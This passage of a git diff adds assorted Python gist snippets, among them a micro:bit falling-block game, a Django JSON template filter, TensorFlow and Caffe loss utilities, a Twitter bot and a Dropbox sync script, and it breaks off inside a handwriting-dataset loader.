+SQLAlchemy.get_model_by_tablename = get_model_by_tablename
+      
+db = SQLAlchemy(app)
\ No newline at end of file
diff --git a/hard-gists/c18130768ac0ef0345947c5aa0827b65/._snippet.py b/hard-gists/c18130768ac0ef0345947c5aa0827b65/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c18130768ac0ef0345947c5aa0827b65/._snippet.py differ
diff --git a/hard-gists/c18130768ac0ef0345947c5aa0827b65/snippet.py b/hard-gists/c18130768ac0ef0345947c5aa0827b65/snippet.py
new file mode 100644
index 00000000..842b4c1c
--- /dev/null
+++ b/hard-gists/c18130768ac0ef0345947c5aa0827b65/snippet.py
@@ -0,0 +1,145 @@
+# BITRIS - Copyright 2017 Darryl Sloan
+
+from microbit import *
+import neopixel
+from random import randint
+
+# Enable NeoPixels to use x & y values
+def np_plot(x, y, r, g, b):
+    np[31-y-abs(x-3)*8] = (r, g, b)
+
+# Counter explode effect
+def counter_explode(x, y):
+    for glow in range(30, -1, -1):
+        np_plot(x, y, glow, glow, glow)
+        np.show()
+        sleep(10)
+
+# Game setup
+np = neopixel.NeoPixel(pin0, 32)
+grid = [randint(1, 6), 0, 0, 0, 0, 0, 0, 0], [randint(1, 6), 0, 0, 0, 0, 0, 0, 0], [randint(1, 6), 0, 0, 0, 0, 0, 0, 0], [randint(1, 6), 0, 0, 0, 0, 0, 0, 0]
+col_combo = [[0, 0, 0], [20, 0, 0], [0, 20, 0], [0, 0, 20], [20, 20, 0], [20, 0, 20], [0, 20, 20], [20, 20, 20]]
+player_x, player_y, timer, score, instability = 0, 0, 0, 0, 0
+alive = True
+counter = grid[0][0]
+
+# Main game loop
+while alive == True:
+
+    # Display
+
+    # Display grid
+    for y in range(0, 8):
+        for x in range(0, 4):
+            np_plot(x, y, col_combo[grid[x][y]][0], col_combo[grid[x][y]][1], col_combo[grid[x][y]][2])
+
+    # Display player
+    np_plot(player_x, player_y, col_combo[counter][0], col_combo[counter][1], col_combo[counter][2])
+    np.show()
+    
+    # Consequences
+
+    # Counter lands on bottom or on another counter
+    if player_y == 7 or grid[player_x][player_y+1] > 0:
+        grid[player_x][player_y] = counter
+        player_y = 0
+        player_x = 0
+        timer = 0
+        counter = grid[0][0]
+
+    # Scan grid for "L" shape
+    for y in range(1, 7):
+        for x in range(0, 3):
+            for colour in range(1, 7):
+                square = [[False, False], [False, False]]
+                counter_sum = 0
+                if grid[x][y] == colour:
+                    square[0][0] = True
+                    counter_sum += 1
+                if grid[x][y+1] == colour:
+                    square[0][1] = True
+                    counter_sum += 1
+                if grid[x+1][y] == colour:
+                    square[1][0] = True
+                    counter_sum += 1
+                if grid[x+1][y+1] == colour:
+                    square[1][1] = True
+                    counter_sum += 1
+                if counter_sum >= 3:
+                    for i in [0, 0], [1, 0], [0, 1], [1, 1]:
+                        if square[i[0]][i[1]] == True:
+                            grid[x+i[0]][y+i[1]] = 0
+                            counter_explode(x+i[0],y+i[1])
+                    score += 1
+                    break
+
+    # Landed white counter explodes and changes counter underneath
+    for y in range(1, 8):
+        for x in range(0, 4):
+            if grid[x][y] == 7:
+                grid[x][y] = 0
+                counter_explode(x, y)
+                if y < 7:
+                    for i in range(40):
+                         np_plot(x, y+1, randint(0, 20), randint(0, 20), randint(0, 20))
+                         np.show()
+                         sleep(20)
+                    grid[x][y+1] = randint(1, 6)
+
+    # Gravity collapses any gaps between counters
+    for y in range(1, 7):
+        for x in range(0, 4):
+            if grid[x][y] > 0 and grid[x][y+1] == 0:
+                grid[x][y+1] = grid[x][y]
+                grid[x][y] = 0
+
+    # If grid is filled to capacity, game over
+    for i in range(0, 4):
+        if grid[i][1] > 0:
+            alive = False
+
+    # Movements
+    # Player movement
+    if button_b.was_pressed() and player_x > 0:
+        if grid[player_x-1][player_y+1] == 0:
+            player_x -= 1
+    if button_a.was_pressed() and player_x < 3:
+        if grid[player_x+1][player_y+1] == 0:
+            player_x += 1
+
+    # Active counter descends
+    timer += 1
+    if timer == 3:
+        player_y += 1
+        if player_y == 1:
+            grid[0][0] = 0
+        timer = 0
+
+    # Shift waiting counters left
+    for i in range(0, 3):
+        if grid[i][0] == 0:
+            grid[i][0] = grid[i+1][0]
+            grid[i+1][0] = 0
+    if grid[3][0] == 0:
+        grid[3][0] = randint(1, 7)
+
+    # Periodically randomise on-screen counters
+    instability += 1
+    if instability == 400:
+        for i in range(80):
+            for y in range(1, 8):
+                for x in range(0, 4):
+                    if grid[x][y] > 0:
+                        grid[x][y] = randint(1, 6)
+                        np_plot(x, y, randint(0, 20), randint(0, 20), randint(0, 20))
+            np.show()
+            sleep(20)
+        instability = 0
+
+# Game over
+for y in range(0, 8):
+    for x in range(0, 4):
+        if grid[x][y] > 0:
+            counter_explode(x, y)
+while True:
+    display.scroll(str(score))
diff --git a/hard-gists/c18bfe4fd96008ffa0aef25001a2e88f/._snippet.py b/hard-gists/c18bfe4fd96008ffa0aef25001a2e88f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c18bfe4fd96008ffa0aef25001a2e88f/._snippet.py differ
diff --git a/hard-gists/c18bfe4fd96008ffa0aef25001a2e88f/snippet.py b/hard-gists/c18bfe4fd96008ffa0aef25001a2e88f/snippet.py
new file mode 100644
index 00000000..edf0ab00
--- /dev/null
+++ b/hard-gists/c18bfe4fd96008ffa0aef25001a2e88f/snippet.py
@@ -0,0 +1,23 @@
+import bleach
+import json as jsonlib
+
+from django import template
+from django.utils.safestring import mark_safe
+
+register = template.Library()
+
+@register.filter
+def json(value):
+    """safe jsonify filter, bleaches the json string using the bleach html tag remover"""
+    uncleaned = jsonlib.dumps(value)
+    clean = bleach.clean(uncleaned)
+
+    try:
+        jsonlib.loads(clean)
+    except:
+        # should never happen, but this is a last-line-of-defense check
+        # to make sure this blob wont get eval'ed by the JS engine as 
+        # anything other than a JSON object
+        raise ValueError('JSON contains a quote or escape sequence that was unable to be stripped')
+
+    return mark_safe(clean)
\ No newline at end of file
diff --git a/hard-gists/c1adfdb0f526465c99409cc143dea97b/._snippet.py b/hard-gists/c1adfdb0f526465c99409cc143dea97b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c1adfdb0f526465c99409cc143dea97b/._snippet.py differ
diff --git a/hard-gists/c1adfdb0f526465c99409cc143dea97b/snippet.py b/hard-gists/c1adfdb0f526465c99409cc143dea97b/snippet.py
new file mode 100644
index 00000000..76f5c99c
--- /dev/null
+++ b/hard-gists/c1adfdb0f526465c99409cc143dea97b/snippet.py
@@ -0,0 +1,51 @@
+import matplotlib
+import matplotlib.cm
+
+import tensorflow as tf
+
+def colorize(value, vmin=None, vmax=None, cmap=None):
+    """
+    A utility function for TensorFlow that maps a grayscale image to a matplotlib
+    colormap for use with TensorBoard image summaries.
+
+    By default it will normalize the input value to the range 0..1 before mapping
+    to a grayscale colormap.
+
+    Arguments:
+      - value: 2D Tensor of shape [height, width] or 3D Tensor of shape
+        [height, width, 1].
+      - vmin: the minimum value of the range used for normalization.
+        (Default: value minimum)
+      - vmax: the maximum value of the range used for normalization.
+        (Default: value maximum)
+      - cmap: a valid cmap named for use with matplotlib's `get_cmap`.
+        (Default: 'gray')
+
+    Example usage:
+
+    ```
+    output = tf.random_uniform(shape=[256, 256, 1])
+    output_color = colorize(output, vmin=0.0, vmax=1.0, cmap='viridis')
+    tf.summary.image('output', output_color)
+    ```
+    
+    Returns a 3D tensor of shape [height, width, 3].
+    """
+
+    # normalize
+    vmin = tf.reduce_min(value) if vmin is None else vmin
+    vmax = tf.reduce_max(value) if vmax is None else vmax
+    value = (value - vmin) / (vmax - vmin) # vmin..vmax
+
+    # squeeze last dim if it exists
+    value = tf.squeeze(value)
+
+    # quantize
+    indices = tf.to_int32(tf.round(value * 255))
+
+    # gather
+    cm = matplotlib.cm.get_cmap(cmap if cmap is not None else 'gray')
+    colors = tf.constant(cm.colors, dtype=tf.float32)
+    value = tf.gather(colors, indices)
+
+    return value
\ No newline at end of file
diff --git a/hard-gists/c211c1af232974f00564/._snippet.py b/hard-gists/c211c1af232974f00564/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c211c1af232974f00564/._snippet.py differ
diff --git a/hard-gists/c211c1af232974f00564/snippet.py b/hard-gists/c211c1af232974f00564/snippet.py
new file mode 100644
index 00000000..e425b587
--- /dev/null
+++ b/hard-gists/c211c1af232974f00564/snippet.py
@@ -0,0 +1,66 @@
+"""Twitter bot that tweets a random line from a file.
+
+Uses Twisted to periodically select a random line from an input file,
+and Twython to post it to Twitter using your credentials.
+
+Usage: python twitterbot.py file.txt, where each line in file.txt is
+a single sentence terminated by a newline ('\n').
+"""
+
+import sys
+import random
+import datetime
+from twisted.internet import task
+from twisted.internet import reactor
+from twython import Twython
+
+TIMEOUT = datetime.timedelta(hours=1).seconds
+twitter = Twython("YOUR API KEY",
+                  "YOUR API SECRET",
+                  "YOUR ACCESS TOKEN",
+                  "YOUR ACCESS TOKEN SECRET")
+
+
+def reservoir(iterator):
+    """Select item from iterator.
+
+    Reservoir algorithm from http://stackoverflow.com/a/3540315/250241/
+    """
+    select = next(iterator)
+    for num, item in enumerate(iterator):
+        if random.randrange(num + 2):
+            continue
+        select = item
+    return select
+
+
+def get_line(file_name):
+    """Open file and select tweetable line."""
+    with open(file_name) as open_file:
+        while True: # Loop until an appropriate sentence is found
+            open_file.seek(0)  # reset file iterator to 0
+            line = reservoir(open_file).strip().replace("  ", " ")
+            if line[0].isupper() and 4 < len(line) < 140:
+                return line
+
+
+def tweet(sentence):
+    """Tweet sentence to Twitter."""
+    try:
+        sys.stdout.write("{} {}\n".format(len(sentence), sentence))
+        twitter.update_status(status=sentence)
+    except:
+        pass
+
+
+def do_tweet(file_name):
+    """Get line and tweet it"""
+    line = get_line(file_name)
+    tweet(line)
+
+
+if __name__ == '__main__':
+    file_name = str(sys.argv[1])
+    l = task.LoopingCall(do_tweet, file_name)
+    l.start(TIMEOUT)
+    reactor.run()
diff --git a/hard-gists/c233b0d25c5fbe008d9477bc1b2d234c/._snippet.py b/hard-gists/c233b0d25c5fbe008d9477bc1b2d234c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c233b0d25c5fbe008d9477bc1b2d234c/._snippet.py differ
diff --git a/hard-gists/c233b0d25c5fbe008d9477bc1b2d234c/snippet.py b/hard-gists/c233b0d25c5fbe008d9477bc1b2d234c/snippet.py
new file mode 100644
index 00000000..7dc2acee
--- /dev/null
+++ b/hard-gists/c233b0d25c5fbe008d9477bc1b2d234c/snippet.py
@@ -0,0 +1,43 @@
+import tensorflow as tf
+import numpy as np
+
+def smoothed_metric_loss(input_tensor, name='smoothed_triplet_loss', margin=1):
+    '''
+    input_tensor: require a tensor with predefined dimensions (No None dimension)
+                  Every two consecutive vectors must be a positive pair. There
+                  should not be more than one pair from each class.
+    '''
+    with tf.variable_scope(name):
+        # Song et al., Deep Metric Learning via Lifted Structured Feature Embedding
+        # Define feature X \in \mathbb{R}^{N \times C}
+        X = input_tensor
+        m = margin
+
+        # Compute the pairwise distance
+        Xe = tf.expand_dims(X, 1)
+        Dsq = tf.reduce_sum(tf.square(Xe - tf.transpose(Xe, (1, 0, 2))), 2, keep_dims=False)
+        D = tf.sqrt(Dsq + 1e-8)
+        expmD = tf.exp(m - D)
+
+        # Compute the loss
+        # Assume that the input data is aligned in a way that two consecutive data form a pair
+        batch_size, _ = X.get_shape().as_list()
+
+        # L_{ij} = \log (\sum_{i, k} exp\{m - D_{ik}\} + \sum_{j, l} exp\{m - D_{jl}\}) + D_{ij}
+        # L = \frac{1}{2|P|}\sum_{(i,j)\in P} \max(0, J_{i,j})^2
+        J_all = []
+        for pair_ind in range(batch_size // 2):
+            i = pair_ind * 2
+            j = i + 1
+            ind_rest = np.hstack([np.arange(0, pair_ind * 2),
+                                  np.arange(pair_ind * 2 + 2, batch_size)])
+
+            inds = [[i, k] for k in ind_rest]
+            inds.extend([[j, l] for l in ind_rest])
+            J_ij = tf.log(tf.reduce_sum(tf.gather_nd(expmD, inds))) + tf.gather_nd(D, [[i, j]])
+            J_all.append(J_ij)
+
+        J_all = tf.convert_to_tensor(J_all)
+        loss = tf.divide(tf.reduce_mean(tf.square(tf.maximum(J_all, 0))), 2.0, name='metric_loss')
+        tf.add_to_collection(tf.GraphKeys.LOSSES, loss)
+    return loss
\ No newline at end of file
diff --git a/hard-gists/c26b2dd5c2bdeaf6d7479a68bd7023bb/._snippet.py b/hard-gists/c26b2dd5c2bdeaf6d7479a68bd7023bb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c26b2dd5c2bdeaf6d7479a68bd7023bb/._snippet.py differ
diff --git a/hard-gists/c26b2dd5c2bdeaf6d7479a68bd7023bb/snippet.py b/hard-gists/c26b2dd5c2bdeaf6d7479a68bd7023bb/snippet.py
new file mode 100644
index 00000000..a8e59fe5
--- /dev/null
+++ b/hard-gists/c26b2dd5c2bdeaf6d7479a68bd7023bb/snippet.py
@@ -0,0 +1,29 @@
+import tensorflow as tf
+import numpy as np
+import uuid
+
+x = tf.placeholder(shape=[None, 3], dtype=tf.float32)
+nn = tf.layers.dense(x, 3, activation=tf.nn.sigmoid)
+nn = tf.layers.dense(nn, 5, activation=tf.nn.sigmoid)
+encoded = tf.layers.dense(nn, 2, activation=tf.nn.sigmoid)
+nn = tf.layers.dense(encoded, 5, activation=tf.nn.sigmoid)
+nn = tf.layers.dense(nn, 3, activation=tf.nn.sigmoid)
+
+cost = tf.reduce_mean((nn - x)**2)
+optimizer = tf.train.RMSPropOptimizer(0.01).minimize(cost)
+init = tf.global_variables_initializer()
+
+tf.summary.scalar("cost", cost)
+merged_summary_op = tf.summary.merge_all()
+
+with tf.Session() as sess:
+    sess.run(init)
+    uniq_id = "/tmp/tensorboard-layers-api/" + uuid.uuid1().__str__()[:6]
+    summary_writer = tf.summary.FileWriter(uniq_id, graph=tf.get_default_graph())
+    x_vals = np.random.normal(0, 1, (10000, 3))
+    for step in range(10000):
+        _, val, summary = sess.run([optimizer, cost, merged_summary_op],
+                                   feed_dict={x: x_vals})
+        if step % 5 == 0:
+            print("step: {}, value: {}".format(step, val))
+            summary_writer.add_summary(summary, step)
\ No newline at end of file
diff --git a/hard-gists/c28329f12711a914c7a8cbe6eeb947c0/._snippet.py b/hard-gists/c28329f12711a914c7a8cbe6eeb947c0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c28329f12711a914c7a8cbe6eeb947c0/._snippet.py differ
diff --git a/hard-gists/c28329f12711a914c7a8cbe6eeb947c0/snippet.py b/hard-gists/c28329f12711a914c7a8cbe6eeb947c0/snippet.py
new file mode 100644
index 00000000..316d074e
--- /dev/null
+++ b/hard-gists/c28329f12711a914c7a8cbe6eeb947c0/snippet.py
@@ -0,0 +1,264 @@
+# coding: utf-8
+import os, sys, pickle, console, re
+ 
+sys.path += ['lib']
+import dropboxsetup
+
+# dropbox_sync
+# by Michelle L. Gill, michelle@michellelynngill.com
+# requires my dropboxsetup module (httpsw://gist.github.com/8311046)
+
+# Change log
+# 2013/01/07: initial version
+# 2013/01/09: added regex filtering
+
+##################################################################
+#                                                                #
+#                  User specified parameters                     #
+#                                                                #
+##################################################################
+
+####### REGEX FILTERS NOT FULLY TESTED YET. USE DEBUG FIRST #######
+# only files which match regexes in this list will be considered
+# leave empty to consider all files
+include_list = []
+
+# then files which match regular expressions in this list will be removed 
+# leave empty for no exclusions
+# empty directories are not uploaded
+exclude_list = ['/Examples', '/pipista/pypi-modules']
+
+# set this to true to test regular expressions instead of uploading
+debug_regex = True
+
+##################################################################
+#                                                                #
+#      Probably don't need to change anything below this point   #
+#                                                                #
+##################################################################
+
+
+STATE_FILE = '.dropbox_state'
+ 
+class dropbox_state:
+	def __init__(self):
+		self.cursor = None
+		self.local_files = {}
+		self.remote_files = {}
+
+	# use ignore_path to prevent download of recently uploaded files 
+	def execute_delta(self, client, ignore_path = None):
+		delta = client.delta(self.cursor)
+		self.cursor = delta['cursor']
+
+		for entry in delta['entries']:
+			path = entry[0][1:]
+			meta = entry[1]
+
+			# this skips the path if we just uploaded it
+			if path != ignore_path:
+				if meta != None:
+					path = meta['path'][1:] # caps sensitive
+					if meta['is_dir']:
+						print '\n\tMaking Directory:',path
+						self.makedir_local(path)
+					elif path not in self.remote_files:
+						print '\n\tNot in local'
+						self.download(client, path)
+					elif meta['rev'] != self.remote_files[path]['rev']:
+						print '\n\tOutdated revision'
+						self.download(client, path)
+				# remove file or directory
+				else: 
+					if os.path.isdir(path):
+						print '\n\tRemoving Directory:', path
+						os.removedirs(path)
+					elif os.path.isfile(path):
+						print '\n\tRemoving File:', path
+						os.remove(path)
+
+						del self.local_files[path]
+						del self.remote_files[path]
+					else:
+						pass # file already doesn't exist localy
+ 
+	# makes dirs if necessary, downloads, and adds to local state data
+	def download(self, client, path):
+		print '\tDownloading:', path
+		# TODO: what if there is a folder there...?
+		head, tail = os.path.split(path)
+		# make the folder if it doesn't exist yet
+		if not os.path.exists(head) and head != '':
+			os.makedirs(head)
+		#open file to write
+		local = open(path,'w')
+		remote, meta = client.get_file_and_metadata(os.path.join('/',path))
+		local.write(remote.read())
+		#clean up
+		remote.close()
+		local.close()
+		# add to local repository
+		self.local_files[path] = {'modified': os.path.getmtime(path)}
+		self.remote_files[path] = meta
+
+	def upload(self, client, path):
+		print '\tUploading:', path
+		local = open(path,'r')
+		meta = client.put_file(os.path.join('/',path), local, True)
+		local.close()
+
+		self.local_files[path] = {'modified': os.path.getmtime(path)}
+		self.remote_files[path] = meta
+
+		# clean out the delta for the file upload
+		self.execute_delta(client, ignore_path=meta['path'])
+
+	def delete(self, client, path):
+		print '\tFile deleted locally. Deleting on Dropbox:',path
+		try:
+			client.file_delete(path)
+		except:
+			# file was probably already deleted
+			print '\tFile already removed from Dropbox'
+
+		del self.local_files[path]
+		del self.remote_files[path]
+
+	# safely makes local dir
+	def makedir_local(self,path):
+		if not os.path.exists(path): # no need to make a dir that exists
+			os.makedirs(path)
+		elif os.path.isfile(path): # if there is a file there ditch it
+			os.remove(path)
+			del self.files[path]
+
+			os.makedir(path)
+ 
+	# recursively list files on dropbox
+	def _listfiles(self, client, path = '/'):
+		meta = client.metadata(path)
+		filelist = []
+
+		for item in meta['contents']:
+			if item['is_dir']:
+				filelist += self._listfiles(client,item['path'])
+			else:
+				filelist.append(item['path'])
+		return filelist
+
+	def download_all(self, client, path = '/'):
+		filelist = self._listfiles(client)
+		for file in filelist:
+			self.download(client, file[1:])	# trim root slash
+
+	def check_state(self, client, path):
+		# lets see if we've seen it before
+		if path not in self.local_files:
+			# upload it!
+			self.upload(client, path)
+		elif os.path.getmtime(path) > self.local_files[path]['modified']:
+			# newer file than last sync
+			self.upload(client, path)
+		else:
+			pass # looks like everything is good
+
+def loadstate():
+	fyle = open(STATE_FILE,'r')
+	state = pickle.load(fyle)
+	fyle.close()
+
+	return state
+ 
+def savestate(state):
+	fyle = open(STATE_FILE,'w')
+	pickle.dump(state,fyle)
+	fyle.close()
+
+if __name__ == '__main__':	
+	token_filename = 'dropbox_sync.token'
+	app_key = 'qqw4puxmyklosw6'
+	app_secret = 'b12a4r5hxp8g6x7'
+
+	console.show_activity()
+
+	print """
+****************************************
+*     Dropbox File Syncronization      *
+****************************************"""
+
+	_, client = dropboxsetup.init(token_filename, app_key, app_secret)
+	print '\nLoading local state'
+	# lets see if we can unpickle
+	try:
+		state = loadstate()
+	except:
+		print '\nCannot find state file. ***Making new local state***'
+		# Aaaah, we have nothing, probably first run
+		state = dropbox_state()
+
+		print '\nDownloading everything from Dropbox'
+		# no way to check what we have locally is newer, gratuitous dl
+		state.download_all(client)
+ 
+	print '\nUpdating state from Dropbox'
+	state.execute_delta(client)
+
+
+	print '\nChecking for new or updated local files'
+	# back to business, lets see if there is anything new or changed localy
+	filelist = []
+	for root, dirnames, filenames in os.walk('.'):
+		for filename in filenames:
+			if filename != STATE_FILE:
+				filelist.append( os.path.join(root, filename)[2:])
+
+	####### REGEX FILTERS NOT FULLY TESTED YET #######
+	filelist = set(filelist)
+	if debug_regex:
+		allfiles = filelist
+
+	# remove all files not in the includes list
+	if len(include_list) >= 1:
+		filelistinc = set()
+		for reg in include_list:
+			regc = re.compile(reg)
+			filelistinc = filelistinc | set([x for x in filelist if re.search(regc,x)])
+
+		filelist = filelistinc
+
+	if debug_regex:
+		incfiles_keep = filelist
+		incfiles_filt = allfiles - incfiles_keep
+
+	# remove the excludes
+	for reg in exclude_list:
+		regc = re.compile(reg)
+		filelist = filelist - set([x for x in filelist if re.search(regc,x)])
+
+	if debug_regex:
+		excfiles_keep = filelist
+		excfiles_filt = incfiles_keep - excfiles_keep
+
+		print '\nThe following files were removed from sync list because they did not match include filters:\n'
+		print incfiles_filt
+		print '\nThe following files were then removed from sync list because they matched exclude filters:\n'
+		print excfiles_filt
+		print '\n The following files remain in the sync list after filtering:\n'
+		print filelist
+
+	else:
+		filelist = list(filelist)
+
+		for file in filelist:
+			state.check_state(client,file)
+
+		print '\nChecking for deleted local files'
+		old_list = state.local_files.keys()
+		for file in old_list:
+			if file not in filelist:
+				state.delete(client, file)
+
+		print '\nSaving local state'
+		savestate(state)
+
+		print '\nSync complete'
\ No newline at end of file
diff --git a/hard-gists/c2b2943ead94c200574a/._snippet.py b/hard-gists/c2b2943ead94c200574a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c2b2943ead94c200574a/._snippet.py differ
diff --git a/hard-gists/c2b2943ead94c200574a/snippet.py b/hard-gists/c2b2943ead94c200574a/snippet.py
new file mode 100644
index 00000000..7732be5f
--- /dev/null
+++ b/hard-gists/c2b2943ead94c200574a/snippet.py
@@ -0,0 +1,46 @@
+import caffe
+import numpy as np
+import os
+import sys
+
+# Author: Axel Angel, copyright 2015, license GPLv3.
+
+class OwnContrastiveLossLayer(caffe.Layer):
+
+    def setup(self, bottom, top):
+        # check input pair
+        if len(bottom) != 3:
+            raise Exception("Need two inputs to compute distance.")
+
+    def reshape(self, bottom, top):
+        # check input dimensions match
+        if bottom[0].count != bottom[1].count:
+            raise Exception("Inputs must have the same dimension.")
+        # difference is shape of inputs
+        self.diff = np.zeros(bottom[0].num, dtype=np.float32)
+        self.dist_sq = np.zeros(bottom[0].num, dtype=np.float32)
+        self.zeros = np.zeros(bottom[0].num)
+        self.m = 1.0
+        # loss output is scalar
+        top[0].reshape(1)
+
+    def forward(self, bottom, top):
+        GW1 = bottom[0].data
+        GW2 = bottom[1].data
+        Y = bottom[2].data
+        loss = 0.0
+        self.diff = GW1 - GW2
+        self.dist_sq = np.sum(self.diff**2, axis=1)
+        losses = Y * self.dist_sq \
+           + (1-Y) * np.max([self.zeros, self.m - self.dist_sq], axis=0)
+        loss = np.sum(losses)
+        top[0].data[0] = loss / 2.0 / bottom[0].num
+
+    def backward(self, top, propagate_down, bottom):
+        Y = bottom[2].data
+        disClose = np.where(self.m - self.dist_sq > 0.0, 1.0, 0.0)
+        for i, sign in enumerate([ +1, -1 ]):
+            if propagate_down[i]:
+                alphas = np.where(Y > 0, +1.0, -1.0) * sign * top[0].diff[0] / bottom[i].num
+                facts = ((1-Y) * disClose + Y) * alphas
+                bottom[i].diff[...] = np.array([facts, facts]).T * self.diff
diff --git a/hard-gists/c2cf8d8aee3eb70668bd/._snippet.py b/hard-gists/c2cf8d8aee3eb70668bd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c2cf8d8aee3eb70668bd/._snippet.py differ
diff --git a/hard-gists/c2cf8d8aee3eb70668bd/snippet.py b/hard-gists/c2cf8d8aee3eb70668bd/snippet.py
new file mode 100644
index 00000000..d85f6e67
--- /dev/null
+++ b/hard-gists/c2cf8d8aee3eb70668bd/snippet.py
@@ -0,0 +1,1250 @@
+# Author: Kyle Kastner
+# License: BSD 3-clause
+# Thanks to Jose (@sotelo) for tons of guidance and debug help
+# Credit also to Junyoung (@jych) and Shawn (@shawntan) for help/utility funcs
+# Strangeness in init could be from onehots, via @igul222. Ty init for one hot layer as N(0, 1) just as in embedding
+# since oh.dot(w) is basically an embedding
+import os
+import re
+import tarfile
+from collections import Counter
+import sys
+import pickle
+import numpy as np
+import theano
+import theano.tensor as tensor
+from theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams
+from scipy import linalg
+
+
+class base_iterator(object):
+    def __init__(self, list_of_containers, minibatch_size,
+                 axis,
+                 start_index=0,
+                 stop_index=np.inf,
+                 make_mask=False,
+                 one_hot_class_size=None):
+        self.list_of_containers = list_of_containers
+        self.minibatch_size = minibatch_size
+        self.make_mask = make_mask
+        self.start_index = start_index
+        self.stop_index = stop_index
+        self.slice_start_ = start_index
+        self.axis = axis
+        if axis not in [0, 1]:
+            raise ValueError("Unknown sample_axis setting %i" % axis)
+        self.one_hot_class_size = one_hot_class_size
+        if one_hot_class_size is not None:
+            assert len(self.one_hot_class_size) == len(list_of_containers)
+
+    def reset(self):
+        self.slice_start_ = self.start_index
+
+    def __iter__(self):
+        return self
+
+    def next(self):
+        return self.__next__()
+
+    def __next__(self):
+        self.slice_end_ = self.slice_start_ + self.minibatch_size
+        if self.slice_end_ > self.stop_index:
+            # TODO: Think about boundary issues with weird shaped last mb
+            self.reset()
+            raise StopIteration("Stop index reached")
+        ind = slice(self.slice_start_, self.slice_end_)
+        self.slice_start_ = self.slice_end_
+        if self.make_mask is False:
+            res = self._slice_without_masks(ind)
+            if not all([self.minibatch_size in r.shape for r in res]):
+                # TODO: Check that things are even
+                self.reset()
+                raise StopIteration("Partial slice returned, end of iteration")
+            return res
+        else:
+            res = self._slice_with_masks(ind)
+            # TODO: Check that things are even
+            if not all([self.minibatch_size in r.shape for r in res]):
+                self.reset()
+                raise StopIteration("Partial slice returned, end of iteration")
+            return res
+
+    def _slice_without_masks(self, ind):
+        raise AttributeError("Subclass base_iterator and override this method")
+
+    def _slice_with_masks(self, ind):
+        raise AttributeError("Subclass base_iterator and override this method")
+
+
+class list_iterator(base_iterator):
+    def _slice_without_masks(self, ind):
+        sliced_c = [np.asarray(c[ind]) for c in self.list_of_containers]
+        if min([len(i) for i in sliced_c]) < self.minibatch_size:
+            self.reset()
+            raise StopIteration("Invalid length slice")
+        for n in range(len(sliced_c)):
+            sc = sliced_c[n]
+            if self.one_hot_class_size is not None:
+                convert_it = self.one_hot_class_size[n]
+                if convert_it is not None:
+                    raise ValueError("One hot conversion not implemented")
+            if not isinstance(sc, np.ndarray) or sc.dtype == np.object:
+                maxlen = max([len(i) for i in sc])
+                # Assume they at least have the same internal dtype
+                if len(sc[0].shape) > 1:
+                    total_shape = (maxlen, sc[0].shape[1])
+                elif len(sc[0].shape) == 1:
+                    total_shape = (maxlen, 1)
+                else:
+                    raise ValueError("Unhandled array size in list")
+                if self.axis == 0:
+                    raise ValueError("Unsupported axis of iteration")
+                    new_sc = np.zeros((len(sc), total_shape[0],
+                                       total_shape[1]))
+                    new_sc = new_sc.squeeze().astype(sc[0].dtype)
+                else:
+                    new_sc = np.zeros((total_shape[0], len(sc),
+                                       total_shape[1]))
+                    new_sc = new_sc.astype(sc[0].dtype)
+                    for m, sc_i in enumerate(sc):
+                        new_sc[:len(sc_i), m, :] = sc_i
+                sliced_c[n] = new_sc
+        return sliced_c
+
+    def _slice_with_masks(self, ind):
+        cs = self._slice_without_masks(ind)
+        if self.axis == 0:
+            ms = [np.ones_like(c[:, 0]) for c in cs]
+        elif self.axis == 1:
+            ms = [np.ones_like(c[:, :, 0]) for c in cs]
+        assert len(cs) == len(ms)
+        return [i for sublist in list(zip(cs, ms)) for i in sublist]
+
+
+def get_dataset_dir(dataset_name):
+    """ Get dataset directory path """
+    return os.sep.join(os.path.realpath(__file__).split
+                       (os.sep)[:-1] + [dataset_name])
+
+
+def check_fetch_iamondb():
+    """ Check for IAMONDB data
+
+        This dataset cannot be downloaded automatically!
+    """
+    partial_path = get_dataset_dir("iamondb")
+    ascii_path = os.path.join(partial_path, "lineStrokes-all.tar.gz")
+    lines_path = os.path.join(partial_path, "ascii-all.tar.gz")
+    files_path = os.path.join(partial_path, "task1.tar.gz")
+    for p in [ascii_path, lines_path, files_path]:
+        if not os.path.exists(p):
+            files = "lineStrokes-all.tar.gz, ascii-all.tar.gz, and task1.tar.gz"
+            url = "http://www.iam.unibe.ch/fki/databases/"
+            url += "iam-on-line-handwriting-database/"
+            url += "download-the-iam-on-line-handwriting-database"
+            err = "Path %s does not exist!" % p
+            err += " Download the %s files from %s" % (files, url)
+            err += " and place them in the directory %s" % partial_path
+            raise ValueError(err)
+    return partial_path
+
+
+def dense_to_one_hot(labels_dense, num_classes=10):
+    """Convert class labels from scalars to one-hot vectors."""
+    labels_shape = labels_dense.shape
+    labels_dense = labels_dense.reshape([-1])
+    num_labels = labels_dense.shape[0]
+    index_offset = np.arange(num_labels) * num_classes
+    labels_one_hot = np.zeros((num_labels, num_classes))
+    labels_one_hot.flat[index_offset + labels_dense.ravel()] = 1
+    labels_one_hot = labels_one_hot.reshape(labels_shape+(num_classes,))
+    return labels_one_hot
+
+
+def tokenize_ind(phrase, vocabulary):
+    phrase = phrase + " "
+    vocabulary_size = len(vocabulary.keys())
+    phrase = [vocabulary[char_] for char_ in phrase]
+    phrase = np.array(phrase, dtype='int32').ravel()
+    phrase = dense_to_one_hot(phrase, vocabulary_size)
+    return phrase
+
+
+def fetch_iamondb():
+    from lxml import etree
+    partial_path = check_fetch_iamondb()
+    pickle_path = os.path.join(partial_path, "iamondb_saved.pkl")
+    if not os.path.exists(pickle_path):
